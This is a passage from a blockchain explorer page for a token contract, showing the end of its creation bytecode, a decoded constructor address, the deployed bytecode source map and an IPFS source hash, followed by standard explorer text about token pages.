281875180845260c086019150828901935060005b818110156110cf5784516001600160a01b0316835293830193918301916001016110aa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561110557600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220bac7dcd5bf3e6862c04b1aa913a3f2f43f8d3ea55a4545412f3c624918c44f4664736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000806630bab554d012ea5032cafa79615b60862aef

-----Decoded View---------------
Arg [0] : keyf_address (address): 0x806630baB554D012ea5032cafa79615B60862aeF

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000806630bab554d012ea5032cafa79615b60862aef


Deployed Bytecode Sourcemap

4658:7497:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9751:80;;;;;;;;;;-1:-1:-1;9823:5:0;;;;;;;;;;;;-1:-1:-1;;;9823:5:0;;;;9751:80;;;;;;;:::i;:::-;;;;;;;;9438:215;;;;;;;;;;-1:-1:-1;9438:215:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9438:215:0;1023:187:1;6572:88:0;;;;;;;;;;-1:-1:-1;6645:12:0;;6572:88;;;1361:25:1;;;1349:2;1334:18;6572:88:0;1215:177:1;6754:368:0;;;;;;;;;;-1:-1:-1;6754:368:0;;;;;:::i;:::-;;:::i;6666:80::-;;;;;;;;;;-1:-1:-1;6666:80:0;;4874:1;2000:36:1;;1988:2;1973:18;6666:80:0;1858:184:1;11154:195:0;;;;;;;;;;-1:-1:-1;11154:195:0;;;;;:::i;:::-;;:::i;:::-;;9837:104;;;;;;;;;;-1:-1:-1;9837:104:0;;;;;:::i;:::-;-1:-1:-1;;;;;9921:17:0;9903:7;9921:17;;;:8;:17;;;;;;;9837:104;4469:132;;;;;;;;;;;;;:::i;9661:84::-;;;;;;;;;;-1:-1:-1;9735:7:0;;;;;;;;;;;;-1:-1:-1;;;9735:7:0;;;;9661:84;;10091:157;;;;;;;;;;-1:-1:-1;10091:157:0;;;;;:::i;:::-;;:::i;9947:132::-;;;;;;;;;;-1:-1:-1;9947:132:0;;;;;:::i;:::-;-1:-1:-1;;;;;10049:18:0;;;10031:7;10049:18;;;:10;:18;;;;;;;;:27;;;;;;;;;;;;;9947:132;11682:135;;;;;;;;;;-1:-1:-1;11682:135:0;;;;;:::i;:::-;;:::i;9438:215::-;9541:10;9513:4;9530:22;;;:10;:22;;;;;;;;-1:-1:-1;;;;;9530:31:0;;;;;;;;;;:40;;;9586:37;9513:4;;9530:31;;9586:37;;;;9564:6;1361:25:1;;1349:2;1334:18;;1215:177;9586:37:0;;;;;;;;-1:-1:-1;9641:4:0;9438:215;;;;;:::o;6754:368::-;-1:-1:-1;;;;;6874:18:0;;6854:4;6874:18;;;:10;:18;;;;;;;;6893:10;6874:30;;;;;;;;-1:-1:-1;;6874:51:0;6871:183;;6974:68;;;;;;;;;;;-1:-1:-1;;;6974:68:0;;;;;;;;-1:-1:-1;;;;;6974:18:0;;-1:-1:-1;6974:18:0;;;:10;:18;;;;;6993:10;6974:30;;;;;;;;;;:68;;7009:6;;6974:34;:68::i;:::-;-1:-1:-1;;;;;6941:18:0;;;;;;:10;:18;;;;;;;;6960:10;6941:30;;;;;;;:101;6871:183;7073:41;7088:6;7096:9;7107:6;7073:14;:41::i;:::-;7066:48;;6754:368;;;;;;:::o;11154:195::-;4412:4;4447:6;-1:-1:-1;;;;;4447:6:0;4304:10;4436:17;4287:39;;;;-1:-1:-1;;;4287:39:0;;;;;;;:::i;:::-;;;;;;;;;11243:8:::1;:17:::0;;;11273:11:::1;:21:::0;;;11319:22:::1;11287:7:::0;11254:6;11319:22:::1;:::i;:::-;11306:10;:35:::0;-1:-1:-1;;11154:195:0:o;4469:132::-;4412:4;4447:6;-1:-1:-1;;;;;4447:6:0;4304:10;4436:17;4287:39;;;;-1:-1:-1;;;4287:39:0;;;;;;;:::i;:::-;4543:1:::1;4526:19:::0;;-1:-1:-1;;;;;;4526:19:0::1;::::0;;4561:32:::1;::::0;3872:51:1;;;4561:32:0::1;::::0;3860:2:1;3845:18;4561:32:0::1;;;;;;;4469:132::o:0;10091:157::-;10171:4;10195:45;10210:10;10222:9;10233:6;10195:14;:45::i;11682:135::-;4412:4;4447:6;-1:-1:-1;;;;;4447:6:0;4304:10;4436:17;4287:39;;;;-1:-1:-1;;;4287:39:0;;;;;;;:::i;:::-;11805:4:::1;11794:7;11779:12;;:22;;;;:::i;:::-;11778:31;;;;:::i;:::-;11762:13;:47:::0;-1:-1:-1;11682:135:0:o;981:190::-;1067:7;1103:12;1095:6;;;;1087:29;;;;-1:-1:-1;;;1087:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1127:9:0;1139:5;1143:1;1139;:5;:::i;:::-;1127:17;981:190;-1:-1:-1;;;;;981:190:0:o;8550:876::-;8663:8;;8643:4;;8663:8;;8660:66;;;8681:42;8697:6;8705:9;8716:6;8681:15;:42::i;:::-;8674:49;;;;8660:66;8763:12;;-1:-1:-1;;;;;8750:25:0;;;8763:12;;8750:25;;;;:54;;-1:-1:-1;8792:12:0;;-1:-1:-1;;;;;8779:25:0;;;8792:12;;8779:25;;8750:54;8746:214;;;-1:-1:-1;;;;;8829:28:0;;;;;;:17;:28;;;;;;;;;:77;;-1:-1:-1;8893:13:0;;-1:-1:-1;;;;;8861:19:0;;;;;;:8;:19;;;;;;:28;;8883:6;;8861:28;:::i;:::-;:45;;8829:77;8821:127;;;;-1:-1:-1;;;8821:127:0;;4664:2:1;8821:127:0;;;4646:21:1;4703:2;4683:18;;;4676:30;4742:34;4722:18;;;4715:62;-1:-1:-1;;;4793:18:1;;;4786:35;4838:19;;8821:127:0;4462:401:1;8821:127:0;8981:44;8999:6;9007:9;9018:6;8981:17;:44::i;:::-;8978:96;;;9042:19;:17;:19::i;:::-;-1:-1:-1;;;;;7226:23:0;;9085:15;7226:23;;;:15;:23;;;;;;;;7225:24;9140:204;;;;9193:53;9217:28;9230:6;9238;9217:12;:28::i;:::-;-1:-1:-1;;;;;9193:19:0;;;;;;:8;:19;;;;;;;:23;:53::i;:::-;-1:-1:-1;;;;;9171:19:0;;;;;;:8;:19;;;;;:75;9140:204;;;-1:-1:-1;;;;;9301:19:0;;;;;;:8;:19;;;;;;:31;;9325:6;9301:23;:31::i;:::-;-1:-1:-1;;;;;9279:19:0;;;;;;:8;:19;;;;;:53;9140:204;9378:9;-1:-1:-1;;;;;9361:35:0;9370:6;-1:-1:-1;;;;;9361:35:0;;9389:6;9361:35;;;;1361:25:1;;1349:2;1334:18;;1215:177;9361:35:0;;;;;;;;-1:-1:-1;9414:4:0;;8550:876;-1:-1:-1;;;;8550:876:0:o;11825:327::-;11955:52;;;;;;;;;;;-1:-1:-1;;;11955:52:0;;;;;;;;-1:-1:-1;;;;;11955:16:0;;11919:4;11955:16;;;:8;:16;;;;;;;:52;;11976:6;;11955:20;:52::i;:::-;-1:-1:-1;;;;;11936:16:0;;;;;;;:8;:16;;;;;;:71;;;;12040:19;;;;;;;:31;;12064:6;12040:23;:31::i;:::-;-1:-1:-1;;;;;12018:19:0;;;;;;;:8;:19;;;;;;;:53;;;;12087:35;;;;;;;;;;12115:6;1361:25:1;;1349:2;1334:18;;1215:177;12087:35:0;;;;;;;;-1:-1:-1;12140:4:0;11825:327;;;;;:::o;10312:283::-;10412:4;10436:16;:14;:16::i;:::-;:60;;;;-1:-1:-1;;;;;;7226:23:0;;7201:4;7226:23;;;:15;:23;;;;;;;;7225:24;10470:26;10436:106;;;;-1:-1:-1;11469:12:0;;-1:-1:-1;;;;;11456:25:0;;;11469:12;;11456:25;10514:28;10436:151;;;;-1:-1:-1;;10569:18:0;;-1:-1:-1;10560:27:0;10312:283;-1:-1:-1;;10312:283:0:o;7269:1273::-;5215:8;:15;;-1:-1:-1;;5215:15:0;5226:4;5215:15;;;7379:4:::1;-1:-1:-1::0;9921:17:0;;;:8;:17;;;;;;7328:57:::1;;7396:20;7419:59;7476:1;7419:52;7460:10;;7419:36;7446:8;;7419:22;:26;;:36;;;;:::i;:::-;:40:::0;::::1;:52::i;:59::-;7396:82:::0;-1:-1:-1;7489:22:0::1;7514:40;:22:::0;7396:82;7514:26:::1;:40::i;:::-;7591:16;::::0;;7605:1:::1;7591:16:::0;;;;;::::1;::::0;;7489:65;;-1:-1:-1;7567:21:0::1;::::0;7591:16;;::::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7591:16:0::1;7567:40;;7636:4;7618;7623:1;7618:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7618:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7662:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;7662:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;7618:7;;7662:21;;;;;:14;:21:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7652:4;7657:1;7652:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7652:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;7696:14:::1;::::0;:198:::1;::::0;-1:-1:-1;;;7696:198:0;;:14;::::1;::::0;:65:::1;::::0;:198:::1;::::0;7776:14;;7696::::1;::::0;7821:4;;7848::::1;::::0;7868:15:::1;::::0;7696:198:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;8000:8:0::1;::::0;7926:21:::1;::::0;-1:-1:-1;7905:18:0::1;::::0;-1:-1:-1;7985:31:0::1;::::0;8000:15:::1;::::0;8013:1:::1;8000:12;:15::i;:::-;7985:10;::::0;;:14:::1;:31::i;:::-;7958:58;;8027:17;8047:53;8098:1;8047:46;8076:16;8047:24;8062:8;;8047:10;:14;;:24;;;;:::i;:53::-;8027:73;;8111:24;8138:49;8170:16;8138:27;8153:11;;8138:10;:14;;:27;;;;:::i;:49::-;8208:11;::::0;8200:47:::1;::::0;8111:76;;-1:-1:-1;;;;;;8208:11:0::1;::::0;8200:47;::::1;;;::::0;8111:76;;8208:11:::1;8200:47:::0;8208:11;8200:47;8111:76;8208:11;8200:47;::::1;;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;8261:16:0;;8258:277:::1;;8293:14;::::0;8463:11:::1;::::0;8293:230:::1;::::0;-1:-1:-1;;;8293:230:0;;8368:4:::1;8293:230;::::0;::::1;6714:34:1::0;6764:18;;;6757:34;;;8293:14:0::1;6807:18:1::0;;;6800:34;;;6850:18;;;6843:34;-1:-1:-1;;;;;8463:11:0;;::::1;6893:19:1::0;;;6886:44;8493:15:0::1;6946:19:1::0;;;6939:35;8293:14:0;::::1;::::0;:30:::1;::::0;8331:9;;6648:19:1;;8293:230:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8258:277;-1:-1:-1::0;;5235:8:0;:16;;-1:-1:-1;;5235:16:0;;;-1:-1:-1;;;;;;7269:1273:0:o;10603:539::-;10714:52;;;;;;;;;;;-1:-1:-1;;;10714:52:0;;;;;;;;-1:-1:-1;;;;;10714:16:0;;10675:7;10714:16;;;:8;:16;;;;;;;:52;;10735:6;;10714:20;:52::i;:::-;-1:-1:-1;;;;;10695:16:0;;;;;;:8;:16;;;;;:71;;;;10825:11;;10809:10;;10798:39;;10825:11;10798:22;;:6;;:10;:22::i;:39::-;10848:15;10876:6;10777:60;;-1:-1:-1;;;;;;10866:16:0;;;10876:6;;10866:16;10893:57;;;;10937:1;10924:14;;10893:57;11013:4;10996:23;;;;:8;:23;;;;;;:39;;11024:10;10996:27;:39::i;:::-;10987:4;10970:23;;;;:8;:23;;;;;;;:65;;;;11051:43;;-1:-1:-1;;;;;11051:43:0;;;;;;;11083:10;1361:25:1;;1349:2;1334:18;;1215:177;11051:43:0;;;;;;;;11112:22;:6;11123:10;11112;:22::i;650:179::-;708:7;;740:5;744:1;740;:5;:::i;:::-;728:17;;769:1;764;:6;;756:46;;;;-1:-1:-1;;;756:46:0;;7498:2:1;756:46:0;;;7480:21:1;7537:2;7517:18;;;7510:30;7576:29;7556:18;;;7549:57;7623:18;;756:46:0;7296:351:1;11497:173:0;11571:8;;11546:4;;11571:8;;11570:9;:34;;;;-1:-1:-1;11592:12:0;;-1:-1:-1;;;11592:12:0;;;;11570:34;:92;;;;-1:-1:-1;11644:18:0;;11634:4;11617:23;;;;:8;:23;;;;;;:45;;11570:92;11563:99;;11497:173;:::o;1179:246::-;1237:7;1261:1;1266;1261:6;1257:47;;-1:-1:-1;1291:1:0;1284:8;;1257:47;1314:9;1326:5;1330:1;1326;:5;:::i;:::-;1314:17;-1:-1:-1;1359:1:0;1350:5;1354:1;1314:17;1350:5;:::i;:::-;:10;1342:56;;;;-1:-1:-1;;;1342:56:0;;7854:2:1;1342:56:0;;;7836:21:1;7893:2;7873:18;;;7866:30;7932:34;7912:18;;;7905:62;-1:-1:-1;;;7983:18:1;;;7976:31;8024:19;;1342:56:0;7652:397:1;1433:132:0;1491:7;1518:39;1522:1;1525;1518:39;;;;;;;;;;;;;;;;;:3;:39::i;837:136::-;895:7;922:43;926:1;929;922:43;;;;;;;;;;;;;;;;;:3;:43::i;1573:189::-;1659:7;1694:12;1687:5;1679:28;;;;-1:-1:-1;;;1679:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1718:9:0;1730:5;1734:1;1730;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:248::-;2115:6;2123;2176:2;2164:9;2155:7;2151:23;2147:32;2144:52;;;2192:1;2189;2182:12;2144:52;-1:-1:-1;;2215:23:1;;;2285:2;2270:18;;;2257:32;;-1:-1:-1;2047:248:1:o;2300:247::-;2359:6;2412:2;2400:9;2391:7;2387:23;2383:32;2380:52;;;2428:1;2425;2418:12;2380:52;2467:9;2454:23;2486:31;2511:5;2486:31;:::i;2552:388::-;2620:6;2628;2681:2;2669:9;2660:7;2656:23;2652:32;2649:52;;;2697:1;2694;2687:12;2649:52;2736:9;2723:23;2755:31;2780:5;2755:31;:::i;:::-;2805:5;-1:-1:-1;2862:2:1;2847:18;;2834:32;2875:33;2834:32;2875:33;:::i;:::-;2927:7;2917:17;;;2552:388;;;;;:::o;2945:180::-;3004:6;3057:2;3045:9;3036:7;3032:23;3028:32;3025:52;;;3073:1;3070;3063:12;3025:52;-1:-1:-1;3096:23:1;;2945:180;-1:-1:-1;2945:180:1:o;3130:329::-;3332:2;3314:21;;;3371:1;3351:18;;;3344:29;-1:-1:-1;;;3404:2:1;3389:18;;3382:36;3450:2;3435:18;;3130:329::o;3464:127::-;3525:10;3520:3;3516:20;3513:1;3506:31;3556:4;3553:1;3546:15;3580:4;3577:1;3570:15;3596:125;3661:9;;;3682:10;;;3679:36;;;3695:18;;:::i;3934:168::-;4007:9;;;4038;;4055:15;;;4049:22;;4035:37;4025:71;;4076:18;;:::i;4107:217::-;4147:1;4173;4163:132;;4217:10;4212:3;4208:20;4205:1;4198:31;4252:4;4249:1;4242:15;4280:4;4277:1;4270:15;4163:132;-1:-1:-1;4309:9:1;;4107:217::o;4329:128::-;4396:9;;;4417:11;;;4414:37;;;4431:18;;:::i;5000:127::-;5061:10;5056:3;5052:20;5049:1;5042:31;5092:4;5089:1;5082:15;5116:4;5113:1;5106:15;5132:251;5202:6;5255:2;5243:9;5234:7;5230:23;5226:32;5223:52;;;5271:1;5268;5261:12;5223:52;5303:9;5297:16;5322:31;5347:5;5322:31;:::i;5388:980::-;5650:4;5698:3;5687:9;5683:19;5729:6;5718:9;5711:25;5755:2;5793:6;5788:2;5777:9;5773:18;5766:34;5836:3;5831:2;5820:9;5816:18;5809:31;5860:6;5895;5889:13;5926:6;5918;5911:22;5964:3;5953:9;5949:19;5942:26;;6003:2;5995:6;5991:15;5977:29;;6024:1;6034:195;6048:6;6045:1;6042:13;6034:195;;;6113:13;;-1:-1:-1;;;;;6109:39:1;6097:52;;6204:15;;;;6169:12;;;;6145:1;6063:9;6034:195;;;-1:-1:-1;;;;;;;6285:32:1;;;;6280:2;6265:18;;6258:60;-1:-1:-1;;;6349:3:1;6334:19;6327:35;6246:3;5388:980;-1:-1:-1;;;5388:980:1:o;6985:306::-;7073:6;7081;7089;7142:2;7130:9;7121:7;7117:23;7113:32;7110:52;;;7158:1;7155;7148:12;7110:52;7187:9;7181:16;7171:26;;7237:2;7226:9;7222:18;7216:25;7206:35;;7281:2;7270:9;7266:18;7260:25;7250:35;;6985:306;;;;;:::o

Swarm Source

ipfs://bac7dcd5bf3e6862c04b1aa913a3f2f43f8d3ea55a4545412f3c624918c44f46
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.